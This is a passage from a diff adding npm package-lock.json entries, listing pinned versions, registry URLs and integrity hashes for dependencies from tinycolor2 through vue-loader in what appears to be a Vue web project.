"https://registry.npmjs.org/tinycolor2/-/tinycolor2-1.4.1.tgz", + "integrity": "sha1-9PrTM0R7wLB9TcjpIJ2POaisd+g=" + }, + "tmp": { + "version": "0.0.33", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", + "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, + "requires": { + "os-tmpdir": "~1.0.2" + } + }, + "tmpl": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", + "peer": true + }, + "to-arraybuffer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz", + "integrity": "sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=", + "dev": true + }, + "to-fast-properties": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.3.tgz", + "integrity": "sha1-uDVx+k2MJbguIxsG46MFXeTKGkc=" + }, + "to-object-path": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", + "requires": { + "kind-of": "^3.0.2" + } + }, + "to-regex": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", + "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", + "requires": { + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "regex-not": "^1.0.2", + "safe-regex": "^1.1.0" + } + }, + "to-regex-range": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", + "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", + "requires": { + "is-number": "^3.0.0", + "repeat-string": "^1.6.1" + }, + "dependencies": { + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "requires": { + "kind-of": "^3.0.2" + } + } + } + }, + "toastr": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/toastr/-/toastr-2.1.4.tgz", + "integrity": "sha1-i0O+ZPudDEFIcURvLbjoyk6V8YE=", + "requires": { + "jquery": ">=1.12.0" + } + }, + "toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "peer": true + }, + "token-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/token-stream/-/token-stream-1.0.0.tgz", + "integrity": "sha1-zCAOqyYT9BZtJ/+a/HylbUnfbrQ=", + "dev": true + }, + "tough-cookie": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", + "dev": true, + "requires": { + "psl": "^1.1.24", + "punycode": "^1.4.1" + } + }, + "tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", + "peer": true + }, + "trim-newlines": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz", + "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", + "dev": true + }, + "trim-right": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/trim-right/-/trim-right-1.0.1.tgz", + "integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=", + "dev": true + }, + "true-case-path": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", + "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", + "dev": true, + "requires": { + "glob": "^7.1.2" + }, + "dependencies": { + "glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "tslib": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.10.0.tgz", + "integrity": "sha512-qOebF53frne81cf0S9B41ByenJ3/IuH8yJKngAX35CmiZySA0khhkovshKK+jGCaMnVomla7gVlIcc3EvKPbTQ==", + "dev": true + }, + "tty-browserify": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.0.tgz", + "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=", + "dev": true + }, + "tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "dev": true, + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", + "dev": true, + "optional": true + }, + "type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", + "dev": true, + "requires": { + "prelude-ls": "~1.1.2" + } + }, + "type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "peer": true + }, + "type-fest": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.7.1.tgz", + "integrity": "sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg==", + "peer": true + }, + "typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", + "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", + "dev": true + }, + "ua-parser-js": { + "version": "0.7.18", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.18.tgz", + "integrity": "sha512-LtzwHlVHwFGTptfNSgezHp7WUlwiqb0gA9AALRbKaERfxwJoiX0A73QbTToxteIAuIaFshhgIZfqK8s7clqgnA==" + }, + "uglify-es": { + "version": "3.3.9", + "resolved": "https://registry.npmjs.org/uglify-es/-/uglify-es-3.3.9.tgz", + "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==", + "requires": { + "commander": "~2.13.0", + "source-map": "~0.6.1" + }, + "dependencies": { + "commander": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.13.0.tgz", + "integrity": "sha512-MVuS359B+YzaWqjCL/c+22gfryv+mCBPHAv3zyVI2GN8EY6IRP8VwtasXn8jyyhvvq84R4ImN1OKRtcbIasjYA==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "uglify-js": { + "version": "3.4.4", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.4.tgz", + "integrity": "sha512-RiB1kNcC9RMyqwRrjXC+EjgLoXULoDnCaOnEDzUCHkBN0bHwmtF5rzDMiDWU29gu0kXCRRWwtcTAVFWRECmU2Q==", + "dev": true, + "requires": { + "commander": "~2.16.0", + "source-map": "~0.6.1" + }, + "dependencies": { + "commander": { + "version": "2.16.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.16.0.tgz", + "integrity": "sha512-sVXqklSaotK9at437sFlFpyOcJonxe0yST/AG9DkQKUdIE6IqGIMv4SfAQSKaJbSdVEJYItASCrBiVQHq1HQew==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + } + } + }, + "uglify-to-browserify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz", + "integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc=", + "dev": true, + "optional": true + }, + "uglifyjs-webpack-plugin": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-1.2.7.tgz", + "integrity": "sha512-1VicfKhCYHLS8m1DCApqBhoulnASsEoJ/BvpUpP4zoNAPpKzdH+ghk0olGJMmwX2/jprK2j3hAHdUbczBSy2FA==", + "dev": true, + "requires": { + "cacache": "^10.0.4", + "find-cache-dir": "^1.0.0", + "schema-utils": "^0.4.5", + "serialize-javascript": "^1.4.0", + "source-map": "^0.6.1", + "uglify-es": "^3.3.4", + "webpack-sources": "^1.1.0", + "worker-farm": "^1.5.2" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + } + } + }, + "umd": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/umd/-/umd-3.0.3.tgz", + "integrity": "sha512-4IcGSufhFshvLNcMCV80UnQVlZ5pMOC8mvNPForqwA4+lzYQuetTESLDQkeLmihq8bRcnpbQa48Wb8Lh16/xow==", + "dev": true + }, + "undeclared-identifiers": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/undeclared-identifiers/-/undeclared-identifiers-1.1.2.tgz", + "integrity": "sha512-13EaeocO4edF/3JKime9rD7oB6QI8llAGhgn5fKOPyfkJbRb6NFv9pYV6dFEmpa4uRjKeBqLZP8GpuzqHlKDMQ==", + "dev": true, + "requires": { + "acorn-node": "^1.3.0", + "get-assigned-identifiers": "^1.2.0", + "simple-concat": "^1.0.0", + "xtend": "^4.0.1" + } + }, + "underscore": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz", + "integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg==" + }, + "underscore.string": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.4.tgz", + "integrity": "sha1-LCo/n4PmR2L9xF5s6sZRQoZCE9s=", + "dev": true, + "requires": { + "sprintf-js": "^1.0.3", + "util-deprecate": "^1.0.2" + } + }, + "unicode-canonical-property-names-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz", + "integrity": "sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==" + }, + "unicode-match-property-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz", + "integrity": "sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==", + "requires": { + "unicode-canonical-property-names-ecmascript": "^1.0.4", + "unicode-property-aliases-ecmascript": "^1.0.4" + } + }, + "unicode-match-property-value-ecmascript": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz", + "integrity": "sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ==" + }, + "unicode-property-aliases-ecmascript": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz", + "integrity": "sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg==" + }, + "union-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.0.tgz", + "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", + "requires": { + "arr-union": "^3.1.0", + "get-value": "^2.0.6", + "is-extendable": "^0.1.1", + "set-value": "^0.4.3" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + }, + "set-value": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-0.4.3.tgz", + "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", + "requires": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.1", + "to-object-path": "^0.3.0" + } + } + } + }, + "uniq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true + }, + "uniqs": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/uniqs/-/uniqs-2.0.0.tgz", + "integrity": "sha1-/+3ks2slKQaW5uFl1KWe25mOawI=", + "dev": true + }, + "unique-filename": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz", + "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=", + "dev": true, + "requires": { + "unique-slug": "^2.0.0" + } + }, + "unique-slug": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz", + "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=", + "dev": true, + "requires": { + "imurmurhash": "^0.1.4" + } + }, + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "peer": true + }, + "unquote": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz", + "integrity": "sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ=", + "dev": true + }, + "unset-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", + "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", + "requires": { + "has-value": "^0.3.1", + "isobject": "^3.0.0" + }, + "dependencies": { + "has-value": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", + "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", + "requires": { + "get-value": "^2.0.3", + "has-values": "^0.1.4", + "isobject": "^2.0.0" + }, + "dependencies": { + "isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", + "requires": { + "isarray": "1.0.0" + } + } + } + }, + "has-values": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", + "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=" + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "upath": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.0.tgz", + "integrity": "sha512-bzpH/oBhoS/QI/YtbkqCg6VEiPYjSZtrHQM6/QnJS6OL9pKUFLqb3aFh4Scvwm45+7iAgiMkLhSbaZxUqmrprw==", + "dev": true + }, + "uri-js": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", + "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", + "dev": true, + "requires": { + "punycode": "^2.1.0" + }, + "dependencies": { + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "dev": true + } + } + }, + "urix": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", + "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=" + }, + "url": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", + "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", + "dev": true, + "requires": { + "punycode": "1.3.2", + "querystring": "0.2.0" + }, + "dependencies": { + "punycode": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", + "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=", + "dev": true + } + } + }, + "url-loader": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz", + "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", + "dev": true, + "requires": { + "loader-utils": "^1.1.0", + "mime": "^2.0.3", + "schema-utils": "^1.0.0" + }, + "dependencies": { + "ajv": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.6.2.tgz", + "integrity": "sha512-FBHEW6Jf5TB9MGBgUUA9XHkTbjXYfAUjY43ACMfmdMRHniyoMHjHjzD50OK8LGDWQwp4rWEsIq5kEqq7rvIM1g==", + "dev": true, + "requires": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", + "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", + "dev": true, + "requires": {} + }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "mime": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.0.tgz", + "integrity": "sha512-ikBcWwyqXQSHKtciCcctu9YfPbFYZ4+gbHEmE0Q8jzcTYQg5dHCr3g2wwAZjPoJfQVXZq6KXAjpXOTf5/cjT7w==", + "dev": true + }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "requires": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + } + } + } + }, + "use": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", + "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==" + }, + "user-home": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/user-home/-/user-home-1.1.1.tgz", + "integrity": "sha1-K1viOjK2Onyd640PKNSFcko98ZA=", + "dev": true + }, + "util": { + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz", + "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=", + "dev": true, + "requires": { + "inherits": "2.0.1" + }, + "dependencies": { + "inherits": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", + "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", + "dev": true + } + } + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "util.promisify": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.0.tgz", + "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", + "dev": true, + "requires": { + "define-properties": "^1.1.2", + "object.getownpropertydescriptors": "^2.0.3" + } + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "peer": true + }, + "uuid": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", + "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", + "dev": true + }, + "v-autocomplete": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/v-autocomplete/-/v-autocomplete-1.8.2.tgz", + "integrity": "sha1-lmx7PtosdN1oORERSiAoTNCWlh8=" + }, + "v8flags": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-2.1.1.tgz", + "integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=", + "dev": true, + "requires": { + "user-home": "^1.1.1" + } + }, + "validate-npm-package-license": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.3.tgz", + "integrity": "sha512-63ZOUnL4SIXj4L0NixR3L1lcjO38crAbgrTpl28t8jjrfuiOBL5Iygm+60qPs/KsZGzPNg6Smnc/oY16QTjF0g==", + "dev": true, + "requires": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "peer": true + }, + "vendors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/vendors/-/vendors-1.0.2.tgz", + "integrity": "sha512-w/hry/368nO21AN9QljsaIhb9ZiZtZARoVH5f3CsFbawdLdayCgKRPup7CggujvySMxx0I91NOyxdVENohprLQ==", + "dev": true + }, + "verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", + "dev": true, + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "vlq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/vlq/-/vlq-1.0.1.tgz", + "integrity": "sha512-gQpnTgkubC6hQgdIcRdYGDSDc+SaujOdyesZQMv6JlfQee/9Mp0Qhnys6WxDWvQnL5WZdT7o2Ul187aSt0Rq+w==", + "peer": true + }, + "vm-browserify": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-0.0.4.tgz", + "integrity": "sha1-XX6kW7755Kb/ZflUOOCofDV9WnM=", + "dev": true, + "requires": { + "indexof": "0.0.1" + } + }, + "void-elements": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", + "integrity": "sha1-YU9/v42AHwu18GYfWy9XhXUOTwk=", + "dev": true + }, + "vue": { + "version": "2.5.16", + "resolved": "https://registry.npmjs.org/vue/-/vue-2.5.16.tgz", + "integrity": "sha512-/ffmsiVuPC8PsWcFkZngdpas19ABm5mh2wA7iDqcltyCTwlgZjHGeJYOXkBMo422iPwIcviOtrTCUpSfXmToLQ==" + }, + "vue-color": { + "version": "2.4.6", + "resolved": "https://registry.npmjs.org/vue-color/-/vue-color-2.4.6.tgz", + "integrity": "sha512-kGz1LNu1DKIcT8jQmUeSjQNqh9NGYBCvMFXU43MRF4kg7A33Z4tZMQFLrPrX7d8r3ptbmLq+MaclJiVQFMCMqg==", + "requires": { + "lodash.throttle": "^4.0.0", + "material-colors": "^1.0.0", + "tinycolor2": "^1.1.2" + } + }, + "vue-fragment": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/vue-fragment/-/vue-fragment-1.5.1.tgz", + "integrity": "sha512-ig6eES6TcMBbANW71ylB+AJgRN+Zksb3f50AxjGpAk6hMzqmeuD80qeh4LJP0jVw2dMBMjgRUfIkrvxygoRgtQ==", + "requires": {} + }, + "vue-fullscreen": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/vue-fullscreen/-/vue-fullscreen-2.1.5.tgz", + "integrity": "sha512-M8wx+OV7uCGOQ/iLi5d2WHbWW9ad9uBPsW50iezV7LDrZ6iuXkDJSCmTaQgnRKJWOOfPsQrgNFME1LKMRrFmgg==" + }, + "vue-hot-reload-api": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/vue-hot-reload-api/-/vue-hot-reload-api-2.3.0.tgz", + "integrity": "sha512-2j/t+wIbyVMP5NvctQoSUvLkYKoWAAk2QlQiilrM2a6/ulzFgdcLUJfTvs4XQ/3eZhHiBmmEojbjmM4AzZj8JA==", + "dev": true + }, + "vue-loader": { + "version": "13.7.2", + "resolved": "https://registry.npmjs.org/vue-loader/-/vue-loader-13.7.2.tgz", + "integrity": "sha512-pgFWFsUjYO1v+J+3r7K0Q4lCp0eOyI24/q9j+cCudWyCTjgpjpcAa1MdwjlDUUettt9xkkUBbQ9fkAN1NC8t9w==", + "dev": true, + "requires": { + "consolidate": "^0.14.0", + "hash-sum": "^1.0.2", + "loader-utils": "^1.1.0", + "lru-cache": "^4.1.1", + "postcss": "^6.0.8", + "postcss-load-config": 